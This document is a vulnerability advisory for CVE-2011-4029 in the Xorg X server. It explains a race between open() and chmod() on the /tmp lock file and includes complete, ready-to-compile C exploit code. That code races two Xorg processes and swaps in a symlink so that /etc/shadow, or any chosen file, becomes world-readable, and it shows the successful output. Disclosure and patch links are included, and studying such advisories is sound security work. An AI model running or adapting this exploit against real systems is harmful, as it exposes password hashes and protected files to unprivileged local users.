Author:        vladz <vladz@devzero.fr> (new on twitter @v14dz!)
Description:   Xorg permission change vulnerability (CVE-2011-4029)
Product:       X.Org (http://www.x.org/releases/)
Affected:      Xorg 1.4 to 1.11.2 in all configurations.  Xorg 1.3 and
               earlier if built with the USE_CHMOD preprocessor identifier

PoC tested on: Debian 6.0.2 up to date with X default configuration issued
               from the xserver-xorg-core package (version 2:1.7.7-13)

Follow-up:     2011/10/07 - X.org foundation informed
               2011/10/09 - Distros informed
               2011/10/18 - Issue/patch publicly announced


Introduction
------------

I've found a file permission change vulnerability in the way that Xorg
creates its temporary lock file "/tmp/.tXn-lock" (where 'n' is the X
display).  When exploited, this vulnerability allows a non-root user to set
the read permission for all users on any file or directory.

For the exploit to succeed the local attacker needs to be able to run the
X.Org X11 X server.

NOTE:  At this time (26/10/2010), some distros are still vulnerable (see
       "Fix & Patch" above for more informations).


Description
-----------

Once started, Xorg attempts to create a lock file "/tmp/.Xn-lock" in a
secure manner:  it creates/opens a temporary lock file "/tmp/.tXn-lock"
with the O_EXCL flag, writes the current PID into it, links it to the final
"/tmp/.Xn-lock" and unlink "/tmp/.tXn-lock".  Here is the code:

  $ cat -n os/utils.c
  [...]
  288   /*
  289    * Create a temporary file containing our PID.  Attempt three times
  290    * to create the file.
  291    */
  292   StillLocking = TRUE;
  293   i = 0;
  294   do {
  295     i++;
  296     lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
  297     if (lfd < 0)
  298        sleep(2);
  299     else
  300        break;
  301   } while (i < 3);
  302   if (lfd < 0) {
  303     unlink(tmp);
  304     i = 0;
  305     do {
  306       i++;
  307       lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
  308       if (lfd < 0)
  309          sleep(2);
  310       else
  311          break;
  312     } while (i < 3);
  313   }
  314   if (lfd < 0)
  315     FatalError("Could not create lock file in %s\n", tmp);
  316   (void) sprintf(pid_str, "%10ld\n", (long)getpid());
  317   (void) write(lfd, pid_str, 11);
  318   (void) chmod(tmp, 0444);
  319   (void) close(lfd);
  320 
  [...]
  328     haslock = (link(tmp,LockFile) == 0);
  329     if (haslock) {
  330       /*
  331        * We're done.
  332        */
  333       break;
  334     }
  335     else {
  336       /*
  337        * Read the pid from the existing file
  338        */
  339       lfd = open(LockFile, O_RDONLY);
  340       if (lfd < 0) {
  341         unlink(tmp);
  342         FatalError("Can't read lock file %s\n", LockFile);
  343       }
  [...]

As a reminder, chmod() operates on filenames rather than on file handles.
So in this case, at line 318, there is no guarantee that the file
"/tmp/.tXn-lock" still refers to the same file on disk that it did when it
was opened via the open() call.  See TOCTOU vulnerability explained on
OWASP[1] for more informations.

The idea here is to remove and replace (by a malicious symbolic link), the
"tmp" file ("/tmp/.tXn-lock") between the call to open() at line 296 and
the call to chmod() at line 318.  But for a non-root user, removing this
file looks impossible as it is located in a sticky bit directory ("/tmp")
and owned by root.

But, what if we launch two Xorg processes with an initial offset (few
milliseconds) so that the first process unlink() (line 341) the "tmp" file
right before the second process calls chmod()?  This race condition would 
consists in placing unlink() between open() and chmod().  It sounds very 
difficult because there is only one system call between them (and maybe not
enough time to perform unlink() and create our symbolic link):

  # strace X :1
  [...]
  open("/tmp/.tX1-lock", O_WRONLY|O_CREAT|O_EXCL, 0644) = 0
  write(0, "      2192\n", 11)            = 11
  chmod("/tmp/.tX1-lock", 0444)           = 0

Anyway, we can make this possible by sending signals SIGCONT and SIGSTOP[2]
to our process.  As they are not trapped by the program, they will allow us
to control and regulate (by stopping and resuming) the execution flow.

Here is how to proceed:

  1) launch the X wrapper (pid=n)
  2) stop it (by sending SIGSTOP to 'n') rigth after "/tmp/.tX1-lock" is
     created (this actually means that the next instruction is chmod())
  3) launch another X process to unlink() /tmp/.tX1-lock
  4) create the symbolic link "/tmp/.tX1-lock" -> "/etc/shadow"
  5) send SIGCONT to 'n' to perform chmod() on our link

The minor problem is that when launching X several times (for race
purpose), it makes the console switch between X and TTY, and in some cases,
it freezes the screen and disturbs the attack.  The solution is to make X
exit before it switches by creating a link "/tmp/.Xn-lock" (real lock
filename) to a file that doesn't exist.  This will make the open() call
fails at line 339, and quit with FatalError() at 342.

So before our 5 steps, we just need to add:

  0) create the symbolic link "/tmp/.X1-lock" -> "/dontexist"


Proof Of Concept
----------------

/* xchmod.c -- Xorg file permission change vulnerability PoC

   This PoC sets the rights 444 (read for all) on any file specified as
   argument (default file is "/etc/shadow").  Another good use for an
   attacker would be to dump an entire partition in order to disclose its
   full content later (via a "mount -o loop").  Made for EDUCATIONAL
   PURPOSES ONLY!  CVE-2011-4029 has been assigned.

   In some configurations, this exploit must be launched from a TTY
   (switch by typing Ctrl-Alt-Fn).

   Tested on Debian 6.0.2 up to date with X default configuration issued
   from the xserver-xorg-core package (version 2:1.7.7-13).

   Compile:  cc xchmod.c -o xchmod
   Usage:    ./xchmod [/path/to/file]    (default file is /etc/shadow)

   $ ls -l /etc/shadow
   -rw-r----- 1 root shadow 1072 Aug  7 07:10 /etc/shadow
   $ ./xchmod
   [+] Trying to stop a Xorg process right before chmod()
   [+] Process ID 4134 stopped (SIGSTOP sent)
   [+] Removing /tmp/.tX1-lock by launching another Xorg process
   [+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)
   [+] Process ID 4134 resumed (SIGCONT sent)
   [+] Attack succeeded, ls -l /etc/shadow:
   -r--r--r-- 1 root shadow 1072 Aug  7 07:10 /etc/shadow

   -----------------------------------------------------------------------

    "THE BEER-WARE LICENSE" (Revision 42):
    <vladz@devzero.fr> wrote this file. As long as you retain this notice
    you can do whatever you want with this stuff. If we meet some day, and
    you think this stuff is worth it, you can buy me a beer in return. -V.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <syscall.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>


#define XORG_BIN     "/usr/bin/X"
#define DISPLAY      ":1"


char *get_tty_number(void) {
  char tty_name[128], *ptr;

  memset(tty_name, '\0', sizeof(tty_name));
  readlink("/proc/self/fd/0", tty_name, sizeof(tty_name));

  if ((ptr = strstr(tty_name, "tty")))
    return ptr + 3;

  return NULL;
}

int launch_xorg_instance(void) {
  int child_pid;
  char *opt[] = { XORG_BIN, DISPLAY, NULL };

  if ((child_pid = fork()) == 0) {
    close(1); close(2);
    execve(XORG_BIN, opt, NULL);
    _exit(0);
  }

  return child_pid;
}

void show_target_file(char *file) {
  char cmd[128];

  memset(cmd, '\0', sizeof(cmd));
  sprintf(cmd, "/bin/ls -l %s", file);
  system(cmd);
}

int main(int argc, char **argv) {
  pid_t proc;
  struct stat st;
  int n, ret, current_attempt = 800;
  char target_file[128], lockfiletmp[20], lockfile[20], *ttyno;

  if (argc < 2)
    strcpy(target_file, "/etc/shadow");
  else
    strcpy(target_file, argv[1]);

  sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY+1);
  sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY+1);

  /* we must ensure that Xorg is not already running on this display */
  if (stat(lockfile, &st) == 0) {
    printf("[-] %s exists, maybe Xorg is already running on this"
           " display?  Choose another display by editing the DISPLAY"
           " attributes.\n", lockfile);
    return 1; 
  }

  /* this avoid execution to continue (and automatically switch to another
   * TTY).  Xorg quits with fatal error because the file that /tmp/.X?-lock
   * links does not exist.
   */
  symlink("/dontexist", lockfile);

  /* we have to force this mask to not comprise our later checks */
  umask(077);

  ttyno = get_tty_number();

  printf("[+] Trying to stop a Xorg process right before chmod()\n");
  while (--current_attempt) {
    proc = launch_xorg_instance();

    n = 0;
    while (n++ < 10000)
      if ((ret = syscall(SYS_stat, lockfiletmp, &st)) == 0)
	break;

    if (ret == 0) {
      syscall(SYS_kill, proc, SIGSTOP);
      printf("[+] Process ID %d stopped (SIGSTOP sent)\n", proc);

      stat(lockfiletmp, &st);
      if ((st.st_mode & 4) == 0)
	break;

      printf("[-] %s file has wrong rights (%o)\n"
	     "[+] removing it by launching another Xorg process\n",
	     lockfiletmp, st.st_mode);
      launch_xorg_instance();
      sleep(7);
    }

    kill(proc, SIGKILL);
  }

  if (current_attempt == 0) {
    printf("[-] Attack failed.\n");

    if (!ttyno)
      printf("Try with console ownership: switch to a TTY* by using "
	     "Ctrl-Alt-F[1-6] and try again.\n");

    return 1;
  }

  printf("[+] Removing %s by launching another Xorg process\n",
         lockfiletmp);
  launch_xorg_instance();
  sleep(7);

  if (stat(lockfiletmp, &st) == 0) {
    printf("[-] %s lock file still here... :(\n", lockfiletmp);
    return 1;
  }

  printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp,
         target_file);
  symlink(target_file, lockfiletmp);

  printf("[+] Process ID %d resumed (SIGCONT sent)\n", proc);
  kill(proc, SIGCONT);

  /* wait for chmod() to finish */
  usleep(300000);

  stat(target_file, &st);
  if (!(st.st_mode & 004)) {
    printf("[-] Attack failed, rights are %o.  Try again!\n", st.st_mode);
    return 1;
  }

  /* cleaning temporary link */
  unlink(lockfile);

  printf("[+] Attack succeeded, ls -l %s:\n", target_file);
  show_target_file(target_file);

  return 0;
}


Fix & Patch
------------

A fix for this vulnerability is available and will be included in xserver
1.11.2 and xserver 1.12. 

  http://cgit.freedesktop.org/xorg/xserver/commit/?id=b67581cf825940fdf52bf2e0af4330e695d724a4

Some distros released new Xorg packages (Ubuntu, Gentoo) since others (like
Debian) judge this as a non-critical issue:

  http://security-tracker.debian.org/tracker/CVE-2011-4029


Footnotes & links
-----------------

[1] https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU

[2] http://en.wikipedia.org/wiki/SIGCONT
    "SIGCONT is the signal sent to restart a process previously paused by
    the SIGSTOP signal".